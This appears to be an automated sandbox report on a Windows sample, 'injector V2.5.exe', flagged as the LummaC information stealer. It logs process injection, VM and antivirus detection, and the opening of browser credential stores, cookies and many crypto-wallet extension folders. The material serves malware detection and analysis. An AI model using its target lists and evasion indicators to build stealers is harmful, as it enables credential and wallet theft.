Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_005FCE70	2_2_005FCE70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_005F86C0	2_2_005F86C0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_005FD7F0	2_2_005FD7F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00611FD2	2_2_00611FD2

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: String function: 00608178 appears 36 times
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: String function: 004190C0 appears 35 times
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: String function: 004083F0 appears 37 times
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: String function: 006055C0 appears 65 times

Source: injector V2.5.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: injector V2.5.exe

Static PE information: Section: .coS ZLIB complexity 1.000328100237718

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@2/2

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 2_2_0043AAE0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_0043AAE0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7024:120:WilError_03

Source: injector V2.5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\injector V2.5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: injector V2.5.exe, 00000002.00000003.1788517112.00000000053D5000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788142973.0000000005407000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: injector V2.5.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\injector V2.5.exe

File read: C:\Users\user\Desktop\injector V2.5.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\injector V2.5.exe "C:\Users\user\Desktop\injector V2.5.exe"
Source: C:\Users\user\Desktop\injector V2.5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\injector V2.5.exe	Process created: C:\Users\user\Desktop\injector V2.5.exe "C:\Users\user\Desktop\injector V2.5.exe"
Source: C:\Users\user\Desktop\injector V2.5.exe	Process created: C:\Users\user\Desktop\injector V2.5.exe "C:\Users\user\Desktop\injector V2.5.exe"	Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: injector V2.5.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: injector V2.5.exe	Static PE information: section name: .00cfg
Source: injector V2.5.exe	Static PE information: section name: .coS

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00604BC5 push ecx; ret	0_2_00604BD8
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_3_02DF9548 push ds; ret	2_3_02DF954A
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_3_02DE6BE0 push esp; retf	2_3_02DE6BEC
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_3_02DE6BE0 push esp; retf	2_3_02DE6BEC
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_3_02DE6BE0 push esp; retf	2_3_02DE6BEC
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_3_02DE6BE0 push esp; retf	2_3_02DE6BEC
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00604BC5 push ecx; ret	2_2_00604BD8

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00604CA2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00604CA2

Source: C:\Users\user\Desktop\injector V2.5.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\injector V2.5.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

API coverage: 9.1 %

Source: C:\Users\user\Desktop\injector V2.5.exe TID: 6228	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe TID: 6228	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_0060C7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_0060C7DB

Source: injector V2.5.exe, 00000002.00000003.1935433049.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1935433049.0000000002D4D000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939442013.0000000002D4D000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1940531601.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1940531601.0000000002D4D000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939442013.0000000002D79000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\injector V2.5.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 2_2_0043FAC0 LdrInitializeThunk,

2_2_0043FAC0

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00605444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00605444

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_005FCD10 mov eax, dword ptr fs:[00000030h]	0_2_005FCD10
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_0061B18D mov edi, dword ptr fs:[00000030h]	0_2_0061B18D
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_005FBD50 mov edi, dword ptr fs:[00000030h]	0_2_005FBD50
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_005FBD50 mov edi, dword ptr fs:[00000030h]	2_2_005FBD50
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_005FCD10 mov eax, dword ptr fs:[00000030h]	2_2_005FCD10

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00609F90 GetProcessHeap,

0_2_00609F90

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00605444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00605444
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00605438 SetUnhandledExceptionFilter,	0_2_00605438
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00607DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00607DCA
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00604AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00604AD9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00604AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00604AD9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00605444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00605444
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00605438 SetUnhandledExceptionFilter,	2_2_00605438
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00607DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00607DCA

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_0061B18D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0061B18D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\injector V2.5.exe

Memory written: C:\Users\user\Desktop\injector V2.5.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Process created: C:\Users\user\Desktop\injector V2.5.exe "C:\Users\user\Desktop\injector V2.5.exe"

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00605200 cpuid

0_2_00605200

Source: C:\Users\user\Desktop\injector V2.5.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_006058C5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_006058C5

Source: C:\Users\user\Desktop\injector V2.5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: injector V2.5.exe, 00000002.00000003.1935433049.0000000002D62000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939442013.0000000002D62000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1940531601.0000000002D62000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\injector V2.5.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: injector V2.5.exe PID: 6276, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
